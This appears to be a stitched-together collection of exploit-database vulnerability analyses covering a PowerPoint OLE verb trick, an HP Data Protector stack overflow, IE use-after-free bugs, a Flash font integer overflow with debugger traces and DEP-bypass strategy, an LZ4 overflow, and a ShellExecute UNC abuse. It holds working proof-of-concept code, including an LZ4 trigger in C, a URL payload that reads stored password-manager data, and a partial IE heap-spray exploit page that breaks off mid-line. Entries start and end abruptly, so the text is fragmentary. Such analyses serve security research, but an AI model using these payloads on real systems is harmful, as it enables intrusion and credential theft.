- To drop arbitrary files to temp => It can be done also after the patch.
- Also use the “famous” CmdVerb = 3, which basically simulates a right click and then left click on the “alternate” option. When used on a INF file it simulates a click on the “Install” option.
So the idea here is to find a file type whose second option in the right click is interesting. For example, when I install the “Geany” Editor, windows automatically adds the “Open With Geany” option with a lot of file types. I can embedd any file of these types inside a package, then inside an OLE, and run the ppsx. The “Geany” editor is executed automatically and tries to open the file, since “Geany” isn’t marked as unsafe at all, and the editor isn’t trying to execute nothing.
The idea would be to found a filetype which can be opened through the second option of the contextual menu, and it allows to embed code (scripting)
At the moment I’ve not found other file type whose second choice in the right click menu (contextual menu) is interesting for exploitation. I’ve tried powershell, but since the file is marked as unsafe a warning arises when powershell tries to execute it directly.
(There are some reports about this idea being used in the wild with ppsx’s directly embedding an EXE, and going through “run it as an Administrator”, but in this way UAC triggers.
- Idea 3: Try other CmdVerb’s to analyze other parts of the CmdVerb function not triggered.
Technical Analysis
At this moment metasploit has available a module for CVE-2012-0124:
http://www.metasploit.com/modules/exploit/windows/misc/hp_dataprotector_new_folder
https://community.rapid7.com/community/metasploit/blog/2012/07/06/an-example-of-egghunting-to-exploit-cve-2012-0124
In fact, the vulnerability exploited is an instance of CVE-2012-0123 and
CVE-2012-0121:
- CVE-2012-0123: http://dvlabs.tippingpoint.com/advisory/TPTI-12-06
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Hewlett-Packard Data Protector.
Authentication is not required to exploit this vulnerability.
The specific flaw exists within the dpwintdb.exe process which listens
by default on TCP port 3817. When parsing data within a DtbClsAddObject
request, the process copies data from the network into a fixed-length
buffer on the stack via an unchecked loop. This can be leveraged by
attackers to execute arbitrary code under the context of the SYSTEM user.
- CVE-2012-0121: http://www.zerodayinitiative.com/advisories/ZDI-12-097/
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of HP Data Protector Express. Authentication is
not required to exploit this vulnerability. User interaction is not
required to exploit this vulnerability.
The specific flaw exists within the dpwinsdr.exe process which listens
on TCP port 3817 by default. The process has insufficient bounds checking
on user-supplied data copied to a fixed-length buffer on the stack.
Remote, unauthenticated attackers can exploit this vulnerability by
sending malformed opcode 0x320 message packets to the target, which could
ultimately lead to arbitrary code execution under the context of the SYSTEM
user.
- Why is an instance of CVE-2012-0123?
======================================
Really, the handler of the operation “new folder” uses DtbClsAddObject to
create the new dir, where in fact, overflow happens.
The handler for the new folder operation can be found on dpwindtb.dll:
int __cdecl sub_1000C750(int a1, int a2, int a3, int a4, int a5)
{
int v5; // ebx@1
int result; // eax@1
int v7; // ebx@3
int v8; // eax@3
int v9; // ecx@3
int v10; // edx@3
int v11; // [sp+Ch] [bp-24h]@3
int v12; // [sp+10h] [bp-20h]@3
int v13; // [sp+14h] [bp-1Ch]@3
int v14; // [sp+18h] [bp-18h]@3
char v15; // [sp+1Ch] [bp-14h]@2
DtbClsByteOrder_ObjId(a5 + 28);
DtbClsByteOrder_DTBOBJECT(a5 + 48);
v5 = *(_DWORD *)(a5 + 44);
result = DtbClsCheckValidOptions(v5);
if ( !result )
{
result = DtbClsGetRequest(a2, a3, *(_DWORD *)(a5 + 20), *(_DWORD *)(a5 + 24), &v15); if ( !result ) { resource_lock_sub_10002414(); v7 = DtbClsAddObject(&v15, a5 + 28, v5 | 0x80000000, a5 + 48, &v11); // Using the vulnerable DtbClsAddObject with controlled data. resource_unlock_sub_10002991(); DtbClsPutRequest(&v15); v8 = v12; v9 = v13; *(_DWORD *)(a5 + 20) = v11; v10 = v14; *(_DWORD *)(a5 + 24) = v8; *(_DWORD *)(a5 + 28) = v9; *(_DWORD *)(a5 + 32) = v10; SvcSetCommandLength(); DtbClsByteOrder_ObjId(a5 + 20); result = v7; }
}
return result;
}
The metasploit blog can be checked for a detailed analysis of the
overflowing loop also announced by the ZDI advisory:
- Why it’s an instance of CVE-2012-0121?
========================================
Because the “new folder” operation is one of the operations handled by
the dpwindtb module => Data Protector Express Microsoft Windows Database
Service (x86).
All these operations are handled by the same SVC ID => 0x32020202 (not
only 0x320 really). (The SVC ID is part of the packet header).
BTW, the available service ids (svc ids) are:
30000000
32020202 => ZDI-2012-097
33040404 => ZDI-2012-096
34050505
35060606
36070707
In order to get the available services the SvcGetServiceInstance_0 function
provided by the dpwinsup.dll module. In this function, the a1 arg is the
SVCID requested, and off_102A13BC + 26120 points to the valid SVC ID’s
table:
signed int __cdecl SvcGetServiceInstance_0(int a1, int a2)
{
void *v2; // esi@1
unsigned int v3; // eax@1
char *v4; // ecx@1
v2 = off_102A13BC;
v3 = 0;
v4 = (char *)off_102A13BC + 26120;
while ( *(_DWORD *)v4 != a1 )
{
++v3; v4 += 4; if ( v3 >= 0x40 ) return 59;
}
*(_DWORD *)a2 = *((_DWORD *)off_102A13BC + 2 * v3 + 6594);
*(_DWORD *)(a2 + 4) = *((_DWORD *)v2 + 2 * v3 + 6595);
return 0;
}
So at runtime with the help of debugging:
102e8c88 30000000 32020202 33040404 35060606
102e8c98 34050505 36070707 00000000 00000000
- Aren’t there other 0x320 requests which could be vulnerable:
==============================================================
Absolutly YES! There could be others, but I’ve not been able to find them
atm.
In order to understand which subtypes of “0x320” requests exists, one must
have into account how connections are managed by HP Data Protector
Express.
Connections are managed by the dpwinsup.dll module, specifically by the
function sub_10191140, A connection needs to send a hello packet, once
done, different job requests and ping requests can be launch from the
same connection (handled by the infinite loop):
int __cdecl sub_10191140(int a1, int a2)
{
int v2; // esi@1
int v3; // edi@1
int v4; // eax@3
int v5; // ebx@3
int v6; // eax@4
int v7; // eax@6
int v8; // eax@20
__int16 v10; // [sp+10h] [bp-14h]@6
v2 = *(_DWORD *)(a2 + 8);
v3 = *(_DWORD *)(a2 + 12);
if ( SvcGetPointerEx(0, 0, (void *)0x40001, *(_DWORD *)(a2 + 8), *(void **)(a2 + 12), (int)&a2)
|| (Msg(6, "Ses: %s connection service for %h is now running", (unsigned int)"Server"), handle_hello_sub_1000D198(a2)) )
{
LABEL_18:
v4 = a2; goto LABEL_19;
}
v4 = a2;
v5 = *((_DWORD *)off_102A13BC + 6744);
if ( *(_DWORD *)(a2 + 2486) != 1 )
{
LABEL_19:
*(_DWORD *)(v4 + 2482) |= 8u; sub_10007D97(a2, 2); goto LABEL_20;
}
while ( 1 )
{
v6 = SvcWaitForRecv(v4 + 40, v5); if ( v6 ) { if ( v6 != 47 ) { if ( v6 == 52 ) Msg(6, "Ses: Socket timeout error on %s connection %h, connection dropped (%e)", (unsigned int)"server"); else Msg(6, "Ses: Socket error waiting on %s connection %h, connection dropped (%e)", (unsigned int)"server"); } goto LABEL_18; } v4 = a2; if ( *(_DWORD *)(a2 + 2486) != 1 ) goto LABEL_19; v7 = SvcRecv(a2 + 40, 20, &v10); if ( v7 ) { if ( v7 != 47 ) Msg(6, "Ses: Socket error receiving header on connection %h, connection dropped (%e)", v2); goto LABEL_18; } if ( v10 == 0x8451 ) { j_requests_84_51_sub_10190F60(a2, &v10); goto LABEL_11; } if ( v10 != 0x8455 ) break; ping_request_sub_1000BEBA(a2);
LABEL_11:
v4 = a2; if ( *(_DWORD *)(a2 + 2486) != 1 ) goto LABEL_19;
}
if ( v10 != 33878 )
goto LABEL_18;
sub_1000BBBD(a2);
LABEL_20:
Msg(6, “Ses: %s connection service for %h is now stopped”, (unsigned int)“Server”);
v8 = a2;
if ( *(_DWORD *)(a2 + 2486) != 2 )
{
SvcReleaseSocket(a2 + 40); v8 = a2;
}
*(_DWORD *)(v8 + 2486) = 0;
SvcPutPointerEx(0, 0, (void *)0x40001, *(_DWORD *)a2, *(void **)(a2 + 4), (int)&a2);
sub_10006479(v2, v3);
return 0;
}
The packets headers are of 0x14 bytes with the next layout:
4 bytes => Packet ID
0x8454 => Hello packets 0x8451 => Job requests 0x8455 => Ping requests
4 bytes => SVC ID
4 bytes => CMD ID
4 bytes => Packet length
4 bytes => ??Unknown?? 0x000000 works well to request jobs.
Every SVC (a dll really), handle its own CMD ID’s. The dpwinsup.dll provides
the SvcCallDriver which is the responsible of dinamically dispatch the job
to the correct module:
int __cdecl SvcCallDriver_0(int a1, int a2, int a3)
{
int result; // eax@1
result = SvcIsValidInstanceIocmd(a1, a2);
if ( !result )
result = (*(int (__cdecl **)(int, int, int))(a1 + 512))(a1, a2, a3);
return result;
}
In order to find the CMD ID’s valids for the SVC 0x32020202 (dpwindtb.dll)
the job handler from this module must be examined:
int __cdecl sub_1001BAC0(int a1, unsigned int a2, int a3)
{
int result; // eax@5
if ( a2 <= 0x1000003 )
{
if ( a2 == 0x1000003 ) return sub_1001BA30(a1); if ( a2 == 0x1000001 ) return 0; if ( a2 == 16777218 ) return sub_1001BA90(*(_DWORD *)(a3 + 8), *(_DWORD *)(a3 + 12)); return 3;
}
if ( a2 == 0x1040007 )
{
if ( *(_DWORD *)(SvcGetGlobalDataEx() + 7908) ) sub_10002252(); result = 0;
}
else
{
if ( a2 != 0x2000001 ) return 3; result = SvcDispatchService();
}
return result;
}
As seen above, it makes use of the SvcDispatchService() api, provided
by dpwinsup.dll, which finally queries the next table of available methods
on dpwindtb.dll:
.data:100A25C4 dd offset sub_10002905 ; CMD ID 0x1
.data:100A25C8 dd offset sub_10001B2C ; CMD ID 0x2
.data:100A25CC dd offset sub_10001E51
.data:100A25D0 dd offset sub_1000163B
.data:100A25D4 dd offset sub_10001F6E
.data:100A25D8 dd offset sub_10001B9A ; CMD ID 0x6 => AddObject (new folder, our case)
.data:100A25DC dd offset sub_10002581
.data:100A25E0 dd offset sub_10001AD2
.data:100A25E4 dd offset sub_100026DF
.data:100A25E8 dd offset sub_100020C7
.data:100A25EC dd offset sub_10001F28
.data:100A25F0 dd offset sub_10001235
.data:100A25F4 dd offset sub_10001CBC
.data:100A25F8 dd offset sub_1000227F
.data:100A25FC dd offset sub_1000141F
.data:100A2600 dd offset sub_100013E3
.data:100A2604 dd offset sub_10002AA4
.data:100A2608 dd offset sub_10002937
.data:100A260C dd offset sub_10001BD6
.data:100A2610 dd offset sub_10002A8B
.data:100A2614 dd offset sub_10001735
.data:100A2618 dd offset sub_100025EA
.data:100A261C dd offset sub_1000236A
.data:100A2620 dd offset sub_1000291E
.data:100A2624 dd offset sub_10001DB6
.data:100A2628 dd offset sub_100012B7
.data:100A262C dd offset sub_100027C0
.data:100A2630 dd offset sub_100020A4
.data:100A2634 dd offset sub_100010B4
.data:100A2638 dd offset sub_1000101E
.data:100A263C dd offset sub_100020E0
.data:100A2640 dd offset sub_10001F64
.data:100A2644 dd offset sub_100021FD
.data:100A2648 dd offset sub_100018A2
.data:100A264C dd offset sub_100011B8
.data:100A2650 dd offset sub_10002383
.data:100A2654 dd offset sub_1000106E
.data:100A2658 dd offset sub_1000233D
.data:100A265C dd offset sub_1000132A
.data:100A2660 dd offset sub_100014E2
.data:100A2664 dd offset sub_1000245F
.data:100A2668 dd offset sub_10001F14
.data:100A266C align 10h
.data:100A2670 dd offset sub_10001FFA
.data:100A2674 dd offset sub_1000164F
.data:100A2678 dd offset sub_1000247D
.data:100A267C dd offset sub_1000244B
.data:100A2680 dd offset sub_10002473
.data:100A2684 dd offset sub_10002563
.data:100A2688 dd offset sub_100020B3
.data:100A268C dd offset sub_10002342
.data:100A2690 dd offset sub_100023C9
.data:100A2694 dd offset sub_100028E7
.data:100A2698 dd offset sub_10001A69
.data:100A269C dd offset sub_10001CF3
.data:100A26A0 dd offset sub_10002AEF
.data:100A26A4 dd offset sub_100014B5
.data:100A26A8 dd offset sub_10001DFC
.data:100A26AC dd offset sub_10001AFF
.data:100A26B0 dd offset sub_10001F1E
.data:100A26B4 dd offset sub_10001348
.data:100A26B8 dd offset sub_10001BD1
.data:100A26BC dd offset sub_100023E7
.data:100A26C0 dd offset sub_10001F55
.data:100A26C4 dd offset sub_10002A3B
.data:100A26C8 dd offset sub_10001BC2
.data:100A26CC dd offset sub_100019C4
.data:100A26D0 dd offset sub_10001DC5
.data:100A26D4 dd offset sub_10001F46
.data:100A26D8 dd offset sub_1000103C
.data:100A26DC dd offset sub_10002469
.data:100A26E0 dd offset sub_10001F05
- Aren’t there other calls to DtbClsAddObject ?
===============================================
After inspecting xrefs to DtbClsAddObject from dpwindtb.dll the only reference
easily rechable from a job handler is the new folder case, but sure, other
references should be examined carefully, no luck atm. I tried also a
dynamic approach, debug using the original client, breakpoing the
DtbClsAddObject… no luck atm.
- Bindiffing
============
1) Bindiffing of the windtb.dll module has been conducted, there are
mainly two differences:
- The method used for the AddFolder (our exploit, maybe aaron was able
to bypass authentication?? I’ve tried but no success atm)!!! grrrr BTW,
the login is handled by the routine sub_1002DD30 in dpwindtb.dll, which
uses dtbclslogin (http://www.zerodayinitiative.com/advisories/ZDI-10-174/).
- The method used for the Upgrade (cmd ID => 0x42, checks for product
activation, since Im working with the trial, no luck testint this case.
2) Also bindiffing of the dpwinods.dll module has been conducted ( 0x330 requests service handler ): all matches
with similarity 1.0
Technical Analysis
Information
“MS13-080 also fixes a second CVE vulnerability that has been exploited in limited attacks over the
web. This issue is a user-after-free vulnerability in CDisplayPointer triggered with
“onpropertychange” event handler. This exploit was found cached on a popular Javascript analysis
website and reported to us. The exploit code for this issue, released probably around mid-September
, uses heap-spray to allocate a small ROP chain around address 0x14141414 and is designed to target
only IE8 running on Windows XP for Korean and Japanese language-based users” – Microsoft
This issue is a use-after-free vulnerability in CDisplayPointer via the use of a “onpropertychange”
event handler. To setup the appropriate buggy conditions, we first craft the DOM tree in a specific
order, where a CBlockElement comes after the CTextArea element. There are also other ways to acheive
the same results, for example: Replace CBlockElement with another CTextArea. One possible explanation
for that is perhaps the second element needs to hold a reference of the parent.
If we use a select() function for the CTextArea element, two important things will happen: a
CDisplayPointer object will be created for CTextArea, and it will also trigger another event called
“onselect”. The “onselect” event will allow us to setup for the actual event handler we want to abuse
- the “onpropertychange” event. Since the CBlockElement is a child of CTextArea, if we do a node swap
of CBlockElement in “onselect”, this will trigger “onpropertychange”. During “onpropertychange” event
handling, a free of the CDisplayPointer object can be forced by using an “Unslect” (other approaches
also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView,
specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update
CDisplayPointer’s position. When this invalid reference arrives in QIClassID, a crash finally occurs
due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary
code execution under the context of the user.
The trigger of the vulnerability seems to be based on previously discovered bugs, specifically
CVE-2012-4969 (ie_execcommand_uaf) and CVE-2013-1347 (ie_cgenericelement_uaf). This just means
that the browser fuzzing tool was tweaked based on these references. There is some junk code in
the trigger. For example, contentEditable does not have to be enabled, but this attribute this
commonly enabled by fuzzers because of document selection. There is also multiple junk CollectGarbage
calls, with Math.atan2() debugging messages around them – which is also an indicator that the exploit
author was still in the process of understanding what they’re for. The vulnerability seems to only
work on Internet Explorer 8 (tested on Win 7 and Win XP), older versions might be affected, did not
check. It does not work against IE9 (tested).
The exploit actually looks more like a proof-of-concept rather than weaponized. The Math.atan2()
functions are used as a way to print debugging messages in WinDBG is a strong indicator that this poc
was possibly incomplete. It’s possible that the experimental version was leaked on the web, so
it was rushed into deployment.
The heap grooming technique is exactly the same as the CVE-2013-3893 – it’d use the
setAttribute() function trigger heap allocations, creates 2000 of them, and the frees half of them.
This also indicates it’s probably done by the same author.
Technical Analysis
HERE
The first offset (0x7800) doesn't seem to point to anything meanful in 010 editor. But the second one (0x8340) falls into the "kern" table section:
struct tTable Table[8] kern (1801810542) at 33604 for 15852 8Ch 10h Fg: union Tag 8Ch 4h Fg: ULONG checkSum A466AE58h 90h 4h Fg: ULONG offset 8344h 94h 4h Fg: ULONG length 3DECh 98h 4h Fg:
The 010 TFF template can't seem to parse the kern table properly. But we can do it manually. According to the TFF specs found at developer.apple.com: https://developer.apple.com/fonts/TTRefMan/RM06/Chap6kern.html
Table 25: 'kern' header Type Name Description fixed32 version The version number of the kerning table (0x00010000 for the current version). uint32 nTables The number of subtables included in the kerning table.
So let's look at line 0x00008340 again:
$ cat PSPop.otf |hexdump -C |grep 00008340 00008340 00 00 00 00 00 01 00 00 10 00 00 00 1e 0c ff e8 |................| ^Version ^ nTables
Our DEP-bypass strategy is by remotely detecting the Flash version (which can be fingerprinted by checking the 'x-flash-version' header), and then return the payload -- including the ROP chain specific to that Flash version. If we don't have a suitable ROP chain for a Flash version, we return a JRE ROP chain instead. One possible drawback while using the Flash ROP is that the Flash ocx can rebase. For example: if the victim machine has Adobe PDF installed, it is possible AcroIEHelperShim.dll can push the Flash ActiveX component out of 0x10000000, and then cause the exploit to fail. Other components could also do the same. Note: Integer overflow probably needs to be explained better # The Integer Overflow Flash Version used to document the Integer Overflow: 11.3.300.268 * 10h bytes are reserved to store the Kern Header Info:
.text:104418A3 mov eax, [ebp+Allocator]
.text:104418A6 push 10h ; Size to allocate
.text:104418A8 push eax
.text:104418A9 call dword ptr [eax] ; Allocate memory for the Kern Header Info
.text:104418AB mov esi, eax
.text:104418AD pop ecx
.text:104418AE pop ecx
.text:104418AF mov [ebp+Kern_Header_1_var_C], esi
* The Kern Header is filled with the next data:
[esi] => Allocator
[esi + 4] => Stream
[esi + 8] => nTables
[esi + C] => pointer to SubTables
.text:104418C0 mov eax, [ebp+stream]
.text:104418C3 mov ecx, [ebp+Allocator]
.text:104418C6 mov [esi+8], eax ; nTables
.text:104418C9 shl eax, 4 ; ¡¡¡Integer Overflow!!!!
.text:104418CC push eax ; Size to allocate for nTables
.text:104418CD push ecx
.text:104418CE mov [esi], ecx ; allocator
.text:104418D0 mov [esi+4], edi ; stream
The nTables value suffers from an Integer Overflow on 104418C9 and the calculation is used to reserve memory to store the nTables. Basically it's trying to get 0x10 bytes by every nTable:
.text:104418D3 call dword ptr [ecx] ; Allocate Memory for nTables
And the pointer to the reserved Memory is stored in [esi+0ch]:
.text:104418D5 pop ecx
.text:104418D6 pop ecx
.text:104418D7 xor ecx, ecx
.text:104418D9 mov [esi+0Ch], eax ; Memory Allocated for the nTables, after the Integer Overflow…
How is memory allocated when there is an Integer Overlow? Just a Sample: * kern Table Header
Breakpoint 0 hit
eax=025fc1b0 ebx=00000008 ecx=00000000 edx=00003dec esi=00000000 edi=025f8250
eip=104418a9 esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
Flash32_11_3_300_268!DllUnregisterServer+0x285e47:
104418a9 ff10 call dword ptr [eax] ds:0023:025fc1b0=8d440310
0:000> p
eax=025fd760 ebx=00000008 ecx=1088c214 edx=00000000 esi=00000000 edi=025f8250
eip=104418ab esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
Flash32_11_3_300_268!DllUnregisterServer+0x285e49:
104418ab 8bf0 mov esi,eax
So Memory for the Kern Table Header is allocated at: 025fd760 * nTables:
eax=00000000 ebx=00000008 ecx=025fc1b0 edx=00000000 esi=025fd760 edi=025f8250
eip=104418d3 esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040247
Flash32_11_3_300_268!DllUnregisterServer+0x285e71:
104418d3 ff11 call dword ptr [ecx] ds:0023:025fc1b0=8d440310
0:000> p
eax=025f9038 ebx=00000008 ecx=1088c1cc edx=00000000 esi=025fd760 edi=025f8250
eip=104418d5 esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
Flash32_11_3_300_268!DllUnregisterServer+0x285e73:
104418d5 59 pop ecx
Memory for nTables is (incorrectly) allocated at: 025f9038 The crafted OTF font file has 0x10000000 nTables, and for every nTable 0x10 bytes are filled, it wants to say that, after
025fd760 – 025f9038 => 0x4728 / 0x10h => 0x472 (ENTRIES)
So after 0x472 entries, the memory for the kern Table Header should be overwritten. Having into account that the nTables memory is filled in a loop, after 0x472 loops, the Kern Header Table will be overwritten. It is interesting because the nTables value stored in the kern Header Table (offset +8) is used as condition to leave the copy loop:
.text:104419C3 inc [ebp+counter_nTables_Read_var_8]
.text:104419C6 mov eax, [ebp+Kern_Header_1_var_C]
.text:104419C9 mov ecx, [ebp+counter_nTables_Read_var_8]
.text:104419CC add [ebp+data_nTables_copied_var_4], 10h
.text:104419D0 add ebx, [ebp+var_18]
.text:104419D3 mov esi, eax
.text:104419D5 cmp ecx, [eax+8] ; comparing ecx with nTables
.text:104419D8 jb loc_10441906 ; copy loop
In every loop 0x10 bytes are filled. In order to understand how memory is overwritten we can put the next breakpoints:
bp 10441964 “.echo Offset 0; r esi; r eax; g”
bp 10441921 “.echo Offset 4; r esi; r ebx; g”
bp 10441973 “.echo Offset 8; r esi; r eax; g”
bp 104419A6 “.echo Offset C; r esi; r eax; g”
bp 104419D5 “.echo Counter; r ecx; g”
The file debug_flash.txt contains a debugged session to understand how nTables are filled. The data is partialy controlled from the OTF font file. The pattern is the next one:
025fb138 00000000 1e0cfff0 1e0d0000 ffffffff
025fb148 00000000 1e0cfff0 1e0d0000 ffffffff
025fb158 00000000 1e0cfff0 1e0d0000 ffffffff
^^^^^^^^ ^^^^^^^^ controlled data
When the Kern header is overwritten it's what happens when comparing the ecx counter with the nTables stored value:
ecx=00000474
eax + 8 => 025fd768 00000000
So it goes away from the loop, with the Kern Header Table filled with the next data:
0:000> dd 025fd760 L4
025fd760 1e0d0000 ffffffff 00000000 1e0cfff0
Once the function returns, it is what happens:
.text:104354DF call overflow_sub_1044184C ; it manages the kern table
.text:104354E4 add esp, 0Ch ; we’re returning here
.text:104354E7 mov [esi+0F8h], eax
.text:104354ED
.text:104354ED loc_104354ED: ; CODE XREF: sub_10435420+BAj
.text:104354ED mov eax, [esi+4]
.text:104354F0 push ‘GDEF’
.text:104354F5 push dword ptr [esi+8]
.text:104354F8 push eax
.text:104354F9 push edi
.text:104354FA push ebx
.text:104354FB call dword ptr [eax+20h] ; get control
Once we return from overflow_sub_1044184C starts the parsing of the GDEF table (also related to OTF parsing), on 104354FB control can be achieved:
Breakpoint 0 hit
eax=029fb360 ebx=029fc1b0 ecx=00000472 edx=00000000 esi=02b8c020 edi=0013db80
eip=104354fb esp=0013db08 ebp=0013db30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
Flash32_11_3_300_268!DllUnregisterServer+0x279a99:
104354fb ff5020 call dword ptr [eax+20h] ds:0023:029fb380=00000d1e
0:000> dd eax
029fb360 1e0d0000 ffffffff 00000000 1e0cfff0
029fb370 1e0d0000 ffffffff 00000000 1e0cfff0
029fb380 1e0d0000 ffffffff 00000000 1e0cfff0
029fb390 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3a0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3b0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3c0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3d0 1e0d0000 ffffffff 00000000 1e0cfff0
0:000> dd eax + 20
029fb380 1e0d0000 ffffffff 00000000 1e0cfff0
029fb390 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3a0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3b0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3c0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3d0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3e0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3f0 1e0d0000 ffffffff 00000000 1e0cfff0
EAX comes from ESI+4:
0:000> dd esi
02b8c020 029fc1b0 029fb360 00000000 00000000
^^^^^^^^
02b8c030 00000000 00000000 00000000 00000000
02b8c040 029fd710 029ff4d0 00000000 00020001
02b8c050 00040003 00060005 00080007 000a0009
02b8c060 000c000b 000e000d 0010000f 00120011
02b8c070 00140013 00160015 00180017 001a0019
02b8c080 001c001b 001e001d 0020001f 00220021
02b8c090 00240023 00260025 00280027 002a0029
As a sample in a use case it is what happens: * Memory allocated for kern header table: 028fd740 * Memory allocated for subtables: 028f9038 * ESI+4h => 028fb360
028F9038 => SUBTABLES
. |
. |
028fb360 => Interesting pointer overwritten | Overflow!
. |
. |
028fd740 => Kern header \/
”`
Technical Analysis
This example will show the domain of the first encrypted password:
https://localhost:49155/api/showSB?url=javascript:topWindow.process.mainModule.exports.Tower.handle.getUserData(function(n){alert(JSON.parse(n).data.passcard[0].Domain)})'
Technical Analysis
On Jun 26th, Don A. Bailey of Security Mouse published a blog detailing an integer overflow within
the LZO algorithm, specifically the LZ4 variant. The writeup can be found here:
http://blog.securitymouse.com/2014/06/raising-lazarus-20-year-old-bug-that.html
PoC Example (Windows 32-bit):
#include "lz4.h" char output[20<<20]; char input[20<<20]; int main(int argc, char* argv[]) { input[0] = 0x0F; input[1] = 0x00; input[2] = 0x00; for(int i = 3; i < 16800000; i++) input[i] = 0xff; LZ4_uncompress(input, output, 20<<20); return 0; }
The LZ4 algorithm is vulnerable but in the real world no implementations are because either the
necessary vulnerable conditions aren’t dialed in correctly, or there is something else in place
(in the software or by operating system) that prevents the bug from exploitation. The flaw
requires the following conditions:
- Must be in a 32-bit environment, which means all servers are safe from this issue.
- The attacker need to forge a special compressed block to overflow a 32-bit address space and
cause the decoding process to overflow, but it can only be done if the compressed block is
something like 16MB or more. Some real-world implementations:
* Legacy LZ4 file format is limited to 8MB, newer format is at 4MB.
* ZFS = 128KB
* zram = 4KB
* Linux kernel = 8MB (uses LZ4 legacy)
* Antivirus unpacking uses the official documented LZ4 (4MB max, 8MB if legacy format)
* The latest lzo.c in FFmpeg is set at (10*1024*1024) + 16 (that’s 10MB + 16 bytes), and is allocated
on the heap. However, matroskadec.c uses av_lzo1x_decode() with its own implementation and as
far as I can tell there is no hard size limit.
- The attack is most likely local
From the attacker’s perspective, it’s difficult to find apps out there that are actually vulnerable,
because so far we have not found one that exceeds 10MB, and we need something like 16MB. It’s even
more difficult to find them exploitable because of other memory corruption mitigations supported by
modern operating systems.
The fix in LZ4 can be found here (there is also a testing tool in fuzz.c):
https://github.com/Cyan4973/lz4/commit/da5373197e84ee49d75b8334d4510689731d6e90
Technical Analysis
Vulnerability:
the WebPartHelper Class offers the OpenInEditor() method, see typelib:
…
/* DISPID=8 */
function OpenInEditor(
/* VT_VARIANT [12] [in] */ $URL )
{
}
…
By passing an null session share path to the URL argument of this method
is possible to launch an arbitrary executable.
This is because of a ShellExecuteExW() call inside RFMSsvs.dll
Analysis:
The ShellExecuteW is this one:
.text:100E9F07 loc_100E9F07: ; CODE XREF: JShellExecuteEx+1B6j
.text:100E9F07 push esi ; pExecInfo
.text:100E9F08 call ds:ShellExecuteExW
Where the pExecInfo can be partially controlled by the user:
.text:100E9EDE call ds:??BGUserText@@QBEPB_WXZ ; GUserText::operator wchar_t const *(void)
.text:100E9EE4 mov [esi+10h], eax
But just the esi+10h field of a SHELLEXECUTEINFO can be controlled:
typedef struct _SHELLEXECUTEINFO {
DWORD cbSize;
ULONG fMask;
HWND hwnd;
LPCTSTR lpVerb;
LPCTSTR lpFile; <== esi + 10h
LPCTSTR lpParameters;
LPCTSTR lpDirectory;
int nShow;
HINSTANCE hInstApp;
LPVOID lpIDList;
LPCTSTR lpClass;
HKEY hkeyClass;
DWORD dwHotKey;
union {
HANDLE hIcon; HANDLE hMonitor;
} DUMMYUNIONNAME;
HANDLE hProcess;
} SHELLEXECUTEINFO, *LPSHELLEXECUTEINFO;
So just the lpFile can be controlled. It doesn’t allow to an awesome exploitation, but there are cases on metasploit.
Just use a WebDav to simulate a SMB resource, the target machine should have enabled the WebClient service (WebDAV Mini-Redirector). And
execute a file via an UNC path. Anyway exploitation limited to machines with WebClient enabled (Windows XPSP3 enabled by default).
Technical Analysis
A memory corruption flaw exists in Microsoft Internet Explorer. The program fails to sanitize
user-supplied input when handling the Same ID property, resulting in memory corruption. With a
specially crafted web page which accesses a deleted object, a context-dependent attacker can
execute arbitrary code.
Discovered by
- Qof VulnHunt for reporting the Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)
- Qihoo 360 Security Center for working with us on the Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)
- Yichong Lin of McAfee Labs for working with us on the Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)
- Google Inc. for working with us on the Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875)
PoC
http://pastebin.com/raw.php?i=sFqxs4qx
<HTML> <BODY> <title></title> <DIV id=testfaild> <img id="imgTest" style="display:none"> <a href="javascript:OnTest();" id="MyA" onClick="OnTest();"><div style="background-color:#FFFFFF; width:30; height:40" id="imgTest" src="" onMouseOver="OnTest2();" onMouseOut="OnTest2();"></div></a> </DIV> <SCRIPT LANGUAGE="JavaScript"> function S(dword) { var t = unescape; var d = Number(dword).toString(16); while (d.length < 8) d = '0' + d; return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4)); } function OnTest() { var tag = 0x1c1c1c0c; var vtable1 = S(tag) + '1234567555555555588888888'; var divs = new Array(); for (var i = 0; i < 128; i++) divs.push(document.createElement('div')); testfaild.innerHTML = testfaild.innerHTML; divs[0].className = vtable1; divs[1].className = vtable1; divs[2].className = vtable1; divs[3].className = vtable1; } function OnTest2() { eval("imgTest").src = ""; } function setcookie() { var Then = new Date() Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 3) document.cookie = "Cookie1=hellofckworld;expires=" + Then.toGMTString() } function readcookie() { var cookieString = new String(document.cookie); if (cookieString.indexOf("hellofckworld") == -1) { return 0 } else { return 1; } } function trigger() { var x = document.getElementsByTagName("div"); var fireOnThis = document.getElementById("MyA"); if (document.createEvent) { evObj = document.createEvent('MouseEvents'); evObj.iniEvent('click', 